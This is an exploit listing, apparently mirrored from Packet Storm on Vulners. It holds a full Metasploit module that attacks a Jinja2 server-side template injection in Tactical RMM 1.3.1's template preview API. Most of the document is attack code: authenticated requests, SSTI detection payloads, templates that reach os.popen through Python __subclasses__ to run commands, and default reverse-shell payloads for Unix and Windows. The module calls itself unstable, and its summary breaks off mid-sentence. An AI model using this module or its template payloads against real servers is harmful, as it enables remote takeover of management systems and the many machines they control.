Lucene search
K

📄 Tactical RMM 1.3.1 Jinja2 Server-Side Template Injection

🗓️ 23 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 153 Views

Metasploit SSTI exploit for Tactical RMM template preview; experimental and unreliable, using __subclasses__ to run commands.

Code
=============================================================================================================================================
    | # Title     : Tactical RMM 1.3.1 Jinja2 SSTI Module Exploit Module                                                                        |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://github.com/amidaware/tacticalrmm                                                                                    |
    =============================================================================================================================================
    
    [+] Summary    : This Metasploit module targets a Server-Side Template Injection (SSTI) vulnerability in Tactical RMM’s template preview endpoint. 
                     The implementation is clearly marked as experimental and manually ranked due to the inherently unstable exploitation technique it relies on.
                     The module attempts to achieve command execution by traversing Python’s internal object model using the __subclasses__() method. 
    				 This approach is fundamentally unreliable because subclass ordering varies depending on:
    
    [+] POC : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ManualRanking # Explicitly manual due to technique instability
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::Powershell
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Tactical RMM Jinja2 SSTI Exploit (Experimental/Unstable)',
            'Description' => %q{
              This module attempts to exploit a Server-Side Template Injection (SSTI) vulnerability
              in Tactical RMM's template preview endpoint.
    
              TECHNICAL LIMITATIONS (PLEASE READ):
              =====================================
              1. The exploit relies on Python's internal __subclasses__() ordering which:
                 - Varies between Python versions (2.7, 3.6, 3.7, 3.8, 3.9, 3.10, 3.11+)
                 - Changes based on imported modules at runtime
                 - Can be modified by application-specific code
                 - May be patched or mitigated in recent versions
    
              2. Detection methods may produce false positives because:
                 - Mathematical results (like 49) might appear in normal content
                 - Error messages might be misinterpreted
                 - Partial template evaluation can occur
    
              3. Command execution is NOT guaranteed even if SSTI is detected because:
                 - The required subclasses may not be available
                 - The chain of Python objects may break
                 - Application-level filters may block certain syntax
    
              RECOMMENDED APPROACH:
              =====================
              - First verify SSTI manually with simple operations: {{7*7}}
              - Test with harmless commands: {{ self.__class__.__mro__ }}
              - Use this module as an automation tool, not as a guaranteed exploit
              - Be prepared for failure and have manual fallback methods
            },
            'Author' => [
              'indoushka'
            ],
            'License' => MSF_LICENSE,
            'References' => [
              [ 'URL', 'https://github.com/amidaware/tacticalrmm' ],
              [ 'URL', 'https://portswigger.net/research/server-side-template-injection' ],
              [ 'URL', 'https://bugs.python.org/issue' ], # Generic reference
              [ 'CVE', '2024-XXXX' ] # Placeholder - update if assigned
            ],
            'Platform' => ['linux', 'win'],
            'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
            'Targets' => [
              [
                'Unix Command',
                {
                  'Platform' => 'unix',
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ],
              [
                'Windows Command',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Type' => :win_cmd,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
                  }
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2024-03-15',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [
                CRASH_SAFE,         
                SERVICE_RESOURCE_LOSS 
              ],
              'Reliability' => [
                UNRELIABLE_SESSION     
              ],
              'SideEffects' => [
                IOC_IN_LOGS,           
                ARTIFACTS_ON_DISK      
              ]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'The base path to the Tactical RMM API', '/']),
            OptString.new('TOKEN', [true, 'Authorization token for API access']),
            OptInt.new('TIMEOUT', [true, 'HTTP request timeout', 30]),
            OptBool.new('SSLVerify', [true, 'Verify SSL certificate (framework-dependent)', false]),
            OptString.new('SUBCLASSES_INDICES', [
              false, 
              'Comma-separated list of subclasses indices to try (see documentation for common values)',
              '140,287,288,289,290,291,292,293,294,295'
            ]),
            OptBool.new('SKIP_CHECK', [
              true, 
              'Skip vulnerability check and attempt exploitation directly (bypass false negatives)', 
              false
            ]),
            OptString.new('VERIFICATION_STRING', [
              false,
              'Custom string to use for SSTI verification (random if not specified)',
              nil
            ])
          ]
        )
      end
    
      def generate_verification_string
        @verification_string ||= datastore['VERIFICATION_STRING'] || "SSTI_#{Rex::Text.rand_text_alphanumeric(8)}"
      end
    
      def send_ssti_request(template_md)
        payload = {
          'template_md' => template_md,
          'type' => 'markdown',
          'template_css' => '',
          'template_html' => nil,
          'template_variables' => {},
          'dependencies' => {},
          'format' => 'html',
          'debug' => false
        }
    
        begin
    
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'reporting', 'templates', 'preview/'),
            'headers' => {
              'Authorization' => "Token #{datastore['TOKEN']}",
              'Content-Type' => 'application/json',
              'Accept' => 'application/json',
              'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            },
            'data' => payload.to_json,
            'timeout' => datastore['TIMEOUT']
          })
          
          return res if res
          
          vprint_error("No response received")
          nil
          
        rescue Rex::ConnectionError => e
          vprint_error("Connection error: #{e.message}")
          nil
        rescue Rex::TimeoutError
          vprint_error("Request timeout")
          nil
        end
      end
    
      def extract_response_body(res)
        return nil unless res
        
        begin
    
          json_body = res.get_json_document
          if json_body && json_body.is_a?(Hash)
            return json_body['preview'] if json_body['preview']
            return json_body.to_s if json_body['error']
          end
        rescue JSON::ParserError
    
        end
    
        res.body
      end
    
      def verify_ssti_detection
        test_string = generate_verification_string
        test_payload = "{{ '#{test_string}' }}"
        
        print_status("Testing SSTI with verification string: #{test_string}")
        
        res = send_ssti_request(test_payload)
        return false unless res && res.code == 200
        
        response_body = extract_response_body(res)
        return false unless response_body
    
        if response_body.include?(test_string)
          print_good("SSTI confirmed! Test string appears in response")
    
          math_test = "{{ 123*456 }}"
          res_math = send_ssti_request(math_test)
          if res_math && res_math.code == 200
            math_body = extract_response_body(res_math)
            if math_body && math_body.include?('56088') 
              print_good("Math evaluation confirmed - template engine is active")
              return true
            end
          end
          
          print_warning("String injection works but math evaluation uncertain")
          return true
        end
    
        fallback_test = "{{ 7*7 }}"
        res_fallback = send_ssti_request(fallback_test)
        if res_fallback && res_fallback.code == 200
          fallback_body = extract_response_body(res_fallback)
          if fallback_body && fallback_body.include?('49')
            print_warning("Basic math works but string test failed - partial SSTI possible")
            return true
          end
        end
        
        false
      end
    
      def endpoint_accessible?
        basic_payload = {
          'template_md' => 'test',
          'type' => 'markdown'
        }
        
        res = send_ssti_request('test')
        
        if res.nil?
          print_error("Cannot connect to endpoint")
          return false
        end
        
        case res.code
        when 401
          print_error("Authentication failed - invalid token")
          return false
        when 403
          print_error("Access denied - insufficient permissions")
          return false
        when 404
          print_error("Endpoint not found - check TARGETURI")
          return false
        when 200
          print_good("Endpoint accessible and authenticated")
          return true
        else
          print_error("Unexpected response code: #{res.code}")
          return false
        end
      end
    
      def check
        return CheckCode::Unknown("Check skipped by user option") if datastore['SKIP_CHECK']
        
        print_status("Beginning vulnerability check...")
        print_warning("Note: False positives/negatives are possible with SSTI detection")
        unless endpoint_accessible?
          return CheckCode::Unknown("Endpoint check failed")
        end
    
        if verify_ssti_detection
          print_good("Target appears vulnerable to SSTI")
          print_warning("However, RCE depends on Python internals and is NOT guaranteed")
          return CheckCode::Appears
        else
          print_error("SSTI verification failed")
          print_note("Try manual verification with: curl -X POST ... -d '{\"template_md\":\"{{7*7}}\"}'")
          return CheckCode::Safe
        end
      end
    
      def escape_for_jinja2(cmd)
        escaped = cmd.dup
    
        escaped.gsub!('\\', '\\\\')
        if target['Platform'] == 'win'
          escaped.gsub!('"', '\\"')
          escaped.gsub!("'", "''")
        else
    
          escaped.gsub!("'", "'\"'\"'")
        end
    
        escaped.gsub!("\n", '\\n')
        escaped.gsub!("\r", '\\r')
        
        escaped
      end
    
      def build_exploit_template(cmd, index)
        escaped_cmd = escape_for_jinja2(cmd)
        
        if target['Platform'] == 'win'
    
          <<~TEMPLATE
            {# Attempting exploitation with index #{index} #}
            {% set globals = ''.__class__.__mro__[1].__subclasses__()[#{index}].__init__.__globals__ %}
            {% if globals %}
              {% set builtins = globals.get('__builtins__', {}) %}
              {% if builtins %}
                {% set import_func = builtins.get('__import__') %}
                {% if import_func %}
                  {% set os_module = import_func('os') %}
                  {% if os_module %}
                    {% set command_output = os_module.popen('cmd.exe /c #{escaped_cmd}').read().strip() %}
                    ---BEGIN OUTPUT---
                    {{ command_output }}
                    ---END OUTPUT---
                  {% else %}
                    {# Failed to get os module #}
                  {% endif %}
                {% else %}
                  {# Failed to get import function #}
                {% endif %}
              {% else %}
                {# Failed to get builtins #}
              {% endif %}
            {% else %}
              {# Failed to get globals for index #{index} #}
            {% endif %}
          TEMPLATE
        else
    
          <<~TEMPLATE
            {# Attempting exploitation with index #{index} #}
            {% set globals = ''.__class__.__mro__[1].__subclasses__()[#{index}].__init__.__globals__ %}
            {% if globals %}
              {% set builtins = globals.get('__builtins__', {}) %}
              {% if builtins %}
                {% set import_func = builtins.get('__import__') %}
                {% if import_func %}
                  {% set os_module = import_func('os') %}
                  {% if os_module %}
                    {% set command_output = os_module.popen('#{escaped_cmd}').read().strip() %}
                    ---BEGIN OUTPUT---
                    {{ command_output }}
                    ---END OUTPUT---
                  {% else %}
                    {# Failed to get os module #}
                  {% endif %}
                {% else %}
                  {# Failed to get import function #}
                {% endif %}
              {% else %}
                {# Failed to get builtins #}
              {% endif %}
            {% else %}
              {# Failed to get globals for index #{index} #}
            {% endif %}
          TEMPLATE
        end
      end
    
      def extract_command_output(response_body)
        return nil unless response_body
    
        if response_body =~ /---BEGIN OUTPUT---\s*(.*?)\s*---END OUTPUT---/m
          return Regexp.last_match(1).strip
        end
    
        lines = response_body.split("\n")
        non_empty = lines.reject { |l| l.strip.empty? || l.strip.start_with?('{#') }
        non_empty.last if non_empty.any?
      end
    
      def try_index(cmd, index)
        print_status("Trying subclasses index: #{index}")
        
        template = build_exploit_template(cmd, index)
        res = send_ssti_request(template)
        
        return false unless res && res.code == 200
        
        response_body = extract_response_body(res)
        return false unless response_body
    
        output = extract_command_output(response_body)
        if output && !output.empty?
          print_good("Success with index #{index}!")
          print_line("Command output: #{output}")
          return true
        end
    
        if response_body.include?('subclasses') || response_body.include?('__init__')
          vprint_status("Index #{index} produced Python-related output: #{response_body[0..100]}")
        end
        
        false
      end
    
      def exploit
        print_status("Target: #{datastore['RHOST']}:#{datastore['RPORT']}")
        print_status("Token: #{datastore['TOKEN'][0..8]}...")
        
        print_warning("="*70)
        print_warning("EXPERIMENTAL/UNSTABLE EXPLOIT")
        print_warning("This technique relies on Python internals and may fail")
        print_warning("Success rate varies significantly across environments")
        print_warning("Consider manual verification before relying on this module")
        print_warning("="*70)
    
        unless endpoint_accessible?
          print_error("Cannot proceed - endpoint check failed")
          return
        end
    
        unless datastore['SKIP_CHECK']
          if verify_ssti_detection
            print_good("SSTI confirmed, proceeding with exploitation")
          else
            print_error("SSTI verification failed")
            print_warning("Attempting exploitation anyway due to possible false negative")
          end
        end
      
        cmd_to_execute = case target['Type']
        when :unix_cmd, :win_cmd
          payload.encoded
        when :linux_dropper
          print_warning("Dropper targets not fully implemented - using command target")
          payload.encoded
        when :windows_dropper
          generate_psh_command_line
        end
        
        print_status("Command to execute: #{cmd_to_execute[0..50]}...")
        
        indices = datastore['SUBCLASSES_INDICES'].split(',').map(&:strip)
        print_status("Attempting #{indices.length} indices: #{indices.join(', ')}")
        
        success = false
        indices.each do |index|
          if try_index(cmd_to_execute, index.to_i)
            success = true
            break
          end
        end
        
        unless success
          print_error("Exploitation failed with all attempted indices")
          print_error("Common reasons for failure:")
          print_error("1. Wrong subclasses index - try different values in SUBCLASSES_INDICES")
          print_error("2. Python version incompatibility - check target Python version")
          print_error("3. Required classes not available in this environment")
          print_error("4. Application-level filtering blocking the payload")
          print_error("5. Command contains characters that break template syntax")
          print_error("\nTroubleshooting steps:")
          print_error("1. Test with simple command: 'id' or 'whoami'")
          print_error("2. Try common indices: 140, 287, 288, 289, 290")
          print_error("3. Verify SSTI manually first")
        end
      end
    end
    
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Feb 2026 00:00Current
5.8Medium risk
Vulners AI Score5.8
153